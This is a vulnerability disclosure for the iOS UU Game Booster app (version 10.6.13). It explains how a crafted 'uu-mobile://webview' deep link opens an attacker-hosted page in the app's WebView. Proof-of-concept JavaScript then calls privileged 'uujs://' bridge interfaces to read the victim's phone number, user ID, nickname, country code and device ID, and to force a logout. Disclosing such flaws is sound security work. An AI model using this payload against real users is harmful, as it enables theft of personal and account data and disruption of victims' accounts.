

An information leak vulnerability in the iOS version of UU

Game Booster

Brief Description

UU Game Booster app is a game accelerator tool to help games reduce latency, maintain stability without disconnections, and solve lag issues. It ranks #35 in the "Tool" category list on the App Store of China Area (as of 2024-12-16).


The iOS version of the UU Game Booster supports opening web pages from external deep link URL (Scheme). Within the built-in WebView, there are **custom interfaces** designed for invocation within web pages. These interfaces are not publicly exposed, but through reverse engineering, we can discover how to invoke them. We found **there lacks a domain name validation** when these interfaces are invoked.

Thus, an attacker can craft a **malicious URL (Scheme)**. When clicked by the victim in a browser or another app, the URL (Scheme) can direct the victim to the UU Game Booster app and open a web page controlled by the attacker. The attacker can then invoke privileged interfaces, **obtaining victim's personal information** (such as PhoneNumber, Country Code), **obtaining victim's account information and credential** (such as NickName, UserID, Avatar, BoostedGames), **obtaining victim's device information** (such as DeviceID) and **interfering victim's normal use** (such as forcefully logging out the account).


Vulnerability Exploitation Process and Root Cause

The attacker, lures the user to click on a malicious URL (Scheme) in the following format: **uu-mobile://webview?url=https://attack.com/attack.html**. Here, "attack.com" represents a domain under the attacker's control. In our experiment, we use "https://zhouziyi1.github.io/iOSJS/uubooster/atkUUBooster.html" as the malicious webpage.

When the victim clicks on this URL (**uu-mobile://webview?url=https://zhouziyi1.github.io/iOSJS/uubooster/atkUUBooster.html**), it directs the victim to the UU Game Booster app and opens the webpage **https://zhouziyi1.github.io/iOSJS/uubooster/atkUUBooster.html** within the app.



Within the webpage, the attacker can then invoke privileged interfaces and perform malicious behaviours such as **obtaining victim's personal information** (such as PhoneNumber, Country Code), **obtaining victim's account information and credential** (such as NickName, UserID, Avatar, BoostedGames), **obtaining victim's device information** (such as DeviceID) and **interfering victim's normal use** (such as forcefully logging out the account).



Part of the code for JS to call OC and the callback function defined in JavaScript are shown below:

```
function callback_get_app_info(res) {
    var json = res;
    document.getElementById("DeviceID").innerText = "Your DeviceID: \n" + json.
    app_info.DeviceID;
}

function callback_get_user_info(res) {
    var json = res;
    document.getElementById("PhoneNumber").innerText = "Your PhoneNumber: " + json.
    result.mobile;
    document.getElementById("UserID").innerText = "Your UserID: " + json.result.id;
    document.getElementById("NickName").innerText = "Your NickName: " + json.result.
    nickname;
    document.getElementById("AccountAvatar").src = json.result.avatar;
    document.getElementById("CountryCode").innerText = "Your CountryCode: " + json.
    result.country_code;
}
```

```
setTimeout(function() {
    fetchData('uujs://get_app_info?data={"callback":"callback_get_app_info",
    "callback_id":"noMatterWhat"}');
    fetchData('uujs://get_user_info?data={"callback":"callback_get_user_info",
    "callback_id":"noMatterWhat"}');
    // fetchData('uujs://get_boosted_games?data=
    {"callback":"callback_get_boosted_games","callback_id":"noMatterWhat"}');
}, 1000);

document.getElementById("LogOut").onclick = function () {
    fetchData('uujs://logout?data={"callback":"callback_logout",
    "callback_id":"noMatterWhat"}');
}
```

Impact of the Vulnerability

Scope of the vulnerability: UU Game Booster iOS version 10.6.13 (the latest version as of 2024-12-16).

Consequences of the vulnerability: Information disclosure.

Download Link For Affected Application:

🔗 **CN:**

<https://apps.apple.com/cn/app/uu%E5%8A%A0%E9%80%9F%E5%99%A8-%E4%B8%93%E4%B8%9A%E5%8A%A0%E9%80%9F%E6%8A%80%E6%9C%AF/id1319788668>

Possible Countermeasures

Should implement more strict domain name checks before the invocation of privileged interfaces.